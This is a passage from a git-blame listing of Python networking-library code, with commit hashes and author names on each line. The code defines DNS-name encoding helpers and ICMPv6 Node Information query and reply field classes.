not overridden by user 2159c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# - IPv4 if acceptable for inet_pton(AF_INET, ): code is set to 2, 21600d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# if not overridden 21610d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# - Name in the other cases: code is set to 0, if not overridden by user 2162c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# 2163c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Internal storage, is not only the value, but the a pair providing 2164c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# the type and the value (1 is IPv6@, 1 is Name or string, 2 is IPv4@) 2165c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# 21660d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# Note : I merged getfield() and m2i(). m2i() should not be called 21670d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# directly anyway. Same remark for addfield() and i2m() 2168c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# 21690d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# -- arno 2170c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 21710d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# "The type of information present in the Data field of a query is 21720d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# declared by the ICMP Code, whereas the type of information in a 2173c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Reply is determined by the Qtype" 2174c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2175c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef names2dnsrepr(x): 2176c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil """ 2177c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil Take as input a list of DNS names or a single DNS name 2178c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil and encode it in DNS format (with possible compression) 2179c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil If a string that is already a DNS name in DNS format 2180c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil is passed, it is returned unmodified. Result is a string. 2181c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil !!! At the moment, compression is not implemented !!! 2182c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil """ 21830d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 2184984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET if isinstance(x, bytes): 21850aeb049606bee9335e62afea58479915bd6e2344Pierre LALET if x and x[-1:] == b'\x00': # stupid heuristic 21860aeb049606bee9335e62afea58479915bd6e2344Pierre LALET return x 21875e76be46bd500492cfc492836eefdc9e48ea9fd6gpotter x = [x] 2188c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2189c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil res = [] 2190c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil for n in x: 2191984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET termin = b"\x00" 2192984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET if n.count(b'.') == 0: # single-component gets one more 2193984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET termin += b'\x00' 2194984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET n = b"".join(chb(len(y)) + y for y in n.split(b'.')) + termin 2195984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET res.append(n) 21961186356a1d73fd59b700d8af05e789d0e8899de6gpotter return b"".join(res) 2197c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2198c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2199c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef dnsrepr2names(x): 2200c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil """ 22010d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz Take as input a DNS encoded string (possibly compressed) 2202c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil and returns a list of DNS names contained in it. 2203c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil If provided string is already in printable format 2204c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil (does not end with a null character, a one element list 2205c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil is returned). Result is a list. 2206c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil """ 2207c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil res = [] 2208984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET cur = b"" 2209c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil while x: 2210b612d8d9f626eeae3bc7eb2a10c139c4d79f381dgpotter l = orb(x[0]) 2211c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil x = x[1:] 2212984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET if not l: 2213984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET if cur and cur[-1:] == b'.': 2214c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil cur = cur[:-1] 2215c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil res.append(cur) 2216984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET cur = b"" 2217b612d8d9f626eeae3bc7eb2a10c139c4d79f381dgpotter if x and orb(x[0]) == 0: # single component 2218c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil x = x[1:] 2219c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil continue 2220c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if l & 0xc0: # XXX TODO : work on that -- arno 2221c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil raise Exception("DNS message can't be compressed at this point!") 2222984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET cur += x[:l] + b"." 2223984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET x = x[l:] 2224c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return res 2225c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2226c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2227c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass NIQueryDataField(StrField): 2228c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def __init__(self, name, default): 2229c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil StrField.__init__(self, name, default) 2230c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2231c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def i2h(self, pkt, x): 2232c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if x is None: 2233c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return x 2234c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil t,val = x 2235c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if t == 1: 2236c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil val = dnsrepr2names(val)[0] 2237c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return val 2238c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2239c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def h2i(self, pkt, x): 2240d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter if x is tuple and isinstance(x[0], int): 2241c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return x 2242c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 22430aeb049606bee9335e62afea58479915bd6e2344Pierre LALET # Try IPv6 22440aeb049606bee9335e62afea58479915bd6e2344Pierre LALET try: 2245984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET inet_pton(socket.AF_INET6, x.decode()) 2246984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET return (0, x.decode()) 2247c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil except: 2248984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET pass 22490aeb049606bee9335e62afea58479915bd6e2344Pierre LALET # Try IPv4 22500aeb049606bee9335e62afea58479915bd6e2344Pierre LALET try: 2251984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET inet_pton(socket.AF_INET, x.decode()) 2252984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET return (2, x.decode()) 2253984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET except: 2254984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET pass 2255984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET # Try DNS 2256984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET if x is None: 2257984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET x = b"" 2258984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET x = names2dnsrepr(x) 2259984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET return (1, x) 2260c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2261c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def i2repr(self, pkt, x): 22625e8857410015a93f6371459b2f870432ded39b9fgpotter x = plain_str(x) 2263c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil t,val = x 2264c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if t == 1: # DNS Name 22650d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz # we don't use dnsrepr2names() to deal with 2266c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # possible weird data extracted info 2267c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil res = [] 2268c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil while val: 2269b612d8d9f626eeae3bc7eb2a10c139c4d79f381dgpotter l = orb(val[0]) 2270c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil val = val[1:] 2271c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if l == 0: 2272c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil break 2273c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil res.append(val[:l]+".") 2274c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil val = val[l:] 2275c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil tmp = "".join(res) 2276c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if tmp and tmp[-1] == '.': 2277c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil tmp = tmp[:-1] 2278c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return tmp 2279c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return repr(val) 2280c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2281c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def getfield(self, pkt, s): 2282c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil qtype = getattr(pkt, "qtype") 2283c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if qtype == 0: # NOOP 22841186356a1d73fd59b700d8af05e789d0e8899de6gpotter return s, (0, b"") 2285c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil else: 2286c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil code = getattr(pkt, "code") 2287c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if code == 0: # IPv6 Addr 2288c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return s[16:], (0, inet_ntop(socket.AF_INET6, s[:16])) 2289c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil elif code == 2: # IPv4 Addr 2290c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return s[4:], (2, inet_ntop(socket.AF_INET, s[:4])) 2291c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil else: # Name or Unknown 22921186356a1d73fd59b700d8af05e789d0e8899de6gpotter return b"", (1, s) 2293c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2294c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def addfield(self, pkt, s, val): 2295d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter if ((isinstance(val, tuple) and val[1] is None) or 2296c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil val is None): 22971186356a1d73fd59b700d8af05e789d0e8899de6gpotter val = (1, b"") 2298c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil t = val[0] 2299c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if t == 1: 2300c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return s + val[1] 2301c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil elif t == 0: 2302c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return s + inet_pton(socket.AF_INET6, val[1]) 2303c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil else: 2304c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return s + inet_pton(socket.AF_INET, val[1]) 2305c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2306c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass NIQueryCodeField(ByteEnumField): 2307c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def i2m(self, pkt, x): 2308c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if x is None: 2309c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil d = pkt.getfieldval("data") 2310c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if d is None: 2311c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return 1 2312c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil elif d[0] == 0: # IPv6 address 2313c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return 0 2314c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil elif d[0] == 1: # Name 2315c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return 1 2316c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil elif d[0] == 2: # IPv4 address 2317c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return 2 2318c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil else: 2319c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return 1 2320c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return x 23210d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 2322c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2323c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil_niquery_code = {0: "IPv6 Query", 1: "Name Query", 2: "IPv4 Query"} 2324c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2325c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#_niquery_flags = { 2: "All unicast addresses", 4: "IPv4 addresses", 23260d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# 8: "Link-local addresses", 16: "Site-local addresses", 2327c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# 32: "Global addresses" } 2328c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2329c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# "This NI type has no defined flags and never has a Data Field". Used 2330c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# to know if the destination is up and implements NI protocol. 23310d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6NIQueryNOOP(_ICMPv6NIHashret, _ICMPv6): 2332c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Node Information Query - NOOP Query" 2333c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil fields_desc = [ ByteEnumField("type", 139, icmp6types), 2334c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil NIQueryCodeField("code", None, _niquery_code), 2335c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil XShortField("cksum", None), 2336c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ShortEnumField("qtype", 0, icmp6_niqtypes), 233777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil BitField("unused", 0, 10), 23380d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz FlagsField("flags", 0, 6, "TACLSG"), 233977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil NonceField("nonce", None), 2340c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil NIQueryDataField("data", None) ] 2341c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 23420d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6NIQueryName(ICMPv6NIQueryNOOP): 2343c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Node Information Query - IPv6 Name Query" 23440d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz qtype = 2 2345c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 23460d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# We ask for the IPv6 address of the peer 2347c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NIQueryIPv6(ICMPv6NIQueryNOOP): 2348c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Node Information Query - IPv6 Address Query" 2349c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil qtype = 3 2350c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil flags = 0x3E 2351c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 23520d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6NIQueryIPv4(ICMPv6NIQueryNOOP): 2353c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil name = "ICMPv6 Node Information Query - IPv4 Address Query" 2354c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil qtype = 4 2355c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 23560d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz_nireply_code = { 0: "Successful Reply", 23570d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 1: "Response Refusal", 2358c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 3: "Unknown query type" } 2359c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 23600d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz_nireply_flags = { 1: "Reply set incomplete", 23610d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 2: "All unicast addresses", 23620d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 4: "IPv4 addresses", 23630d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 8: "Link-local addresses", 23640d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 16: "Site-local addresses", 2365c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 32: "Global addresses" } 2366c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2367c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Internal repr is one of those : 2368c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# (0, "some string") : unknow qtype value are mapped to that one 2369c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# (3, [ (ttl, ip6), ... ]) 23700d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# (4, [ (ttl, ip4), ... ]) 2371c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# (2, [ttl, dns_names]) : dns_names is one string that contains 23720d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# all the DNS names. Internally it is kept ready to be sent 23730d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# (undissected). i2repr() decode it for user. This is to 2374c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# make build after dissection bijective. 2375c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# 2376c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# I also merged getfield() and m2i(), and addfield() and i2m(). 2377c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass NIReplyDataField(StrField): 2378c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2379c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def i2h(self, pkt, x): 2380c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if x is None: 2381c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return x 2382c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil t,val = x 2383c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if t == 2: 2384c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ttl, dnsnames = val 2385c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil val = [ttl] + dnsrepr2names(dnsnames) 2386c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return val 2387c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2388c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def h2i(self, pkt, x): 23890d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz qtype = 0 # We will decode it as string if not 2390c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # overridden through 'qtype' in pkt 2391c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2392c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # No user hint, let's use 'qtype' value for that purpose 2393d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter if not isinstance(x, tuple): 2394c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if pkt is not None: 2395984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET qtype = pkt.qtype 2396c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil else: 2397c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil qtype = x[0] 2398c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil x = x[1] 2399c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2400c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # From that point on, x is the value (second element of the tuple) 2401c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2402c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if qtype == 2: # DNS name 2403984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET if isinstance(x, (str, bytes)): # listify the string 2404c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil x = [x] 2405984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET if isinstance(x, list): 2406984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET x = [val.encode() if isinstance(val, str) else val for val in x] 2407984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET if x and isinstance(x[0], six.integer_types): 2408984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET ttl = x[0] 2409984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET names = x[1:] 2410984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET else: 2411984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET ttl = 0 2412984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET names = x 2413c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return (2, [ttl, names2dnsrepr(names)]) 2414c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2415c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil elif qtype in [3, 4]: # IPv4 or IPv6 addr 2416984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET if not isinstance(x, list): 2417c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil x = [x] # User directly provided an IP, instead of list 2418c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2419984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET def fixvalue(x): 2420984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET # List elements are not tuples, user probably 2421984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET # omitted ttl value : we will use 0 instead 2422984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET if not isinstance(x, tuple): 2423984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET x = (0, x) 2424984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET # Decode bytes 2425984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET if six.PY3 and isinstance(x[1], bytes): 2426984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET x = (x[0], x[1].decode()) 2427c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return x 2428c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2429984fdcf30a7bb5f239b0495b3cde8a0c19bfa723Pierre LALET return (qtype, [fixvalue(d) for d in x]) 2430c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2431c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return (qtype, x) 2432c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2433c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2434c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def addfield(self, pkt, s, val): 2435c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil t,tmp = val 2436c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if tmp is None: 24371186356a1d73fd59b700d8af05e789d0e8899de6gpotter tmp = b"" 2438c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if t == 2: 2439c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ttl,dnsstr = tmp 2440c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return s+ struct.pack("!I", ttl) + dnsstr 2441c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil elif t == 3: 24421186356a1d73fd59b700d8af05e789d0e8899de6gpotter return s + b"".join(map(lambda x_y1: struct.pack("!I", x_y1[0])+inet_pton(socket.AF_INET6, x_y1[1]), tmp)) 2443c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil elif t == 4: 24441186356a1d73fd59b700d8af05e789d0e8899de6gpotter return s + b"".join(map(lambda x_y2: struct.pack("!I", x_y2[0])+inet_pton(socket.AF_INET, x_y2[1]), tmp)) 2445c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil else: 2446c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return s + tmp 24470d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz 2448c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil def getfield(self, pkt, s): 2449c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil code = getattr(pkt, "code") 2450c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if code != 0: 24511186356a1d73fd59b700d8af05e789d0e8899de6gpotter return s, (0, b"") 2452c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 24530d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz qtype = getattr(pkt, "qtype") 2454c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if qtype == 0: # NOOP 24551186356a1d73fd59b700d8af05e789d0e8899de6gpotter return s, (0, b"") 2456c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2457c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil elif qtype == 2: 2458c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil if len(s) < 4: 24591186356a1d73fd59b700d8af05e789d0e8899de6gpotter return s, (0, b"") 2460c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ttl = struct.unpack("!I", s[:4])[0] 24611186356a1d73fd59b700d8af05e789d0e8899de6gpotter return b"", (2, [ttl, s[4:]]) 2462c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2463c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil elif qtype == 3: # IPv6 addresses with TTLs 2464c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # XXX TODO : get the real length 2465c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil res = [] 2466c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil while len(s) >= 20: # 4 + 16 2467c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ttl = struct.unpack("!I", s[:4])[0] 2468c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ip = inet_ntop(socket.AF_INET6, s[4:20]) 2469c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil res.append((ttl, ip)) 2470c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil s = s[20:] 2471c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil return s, (3, res) 2472c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil 2473c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil elif qtype == 4: # IPv4 addresses with TTLs 2474c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil # XXX TODO : get the real length 2475c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil res = [] 24760d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz while len(s) >= 8: # 4 + 4 2477c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil ttl = 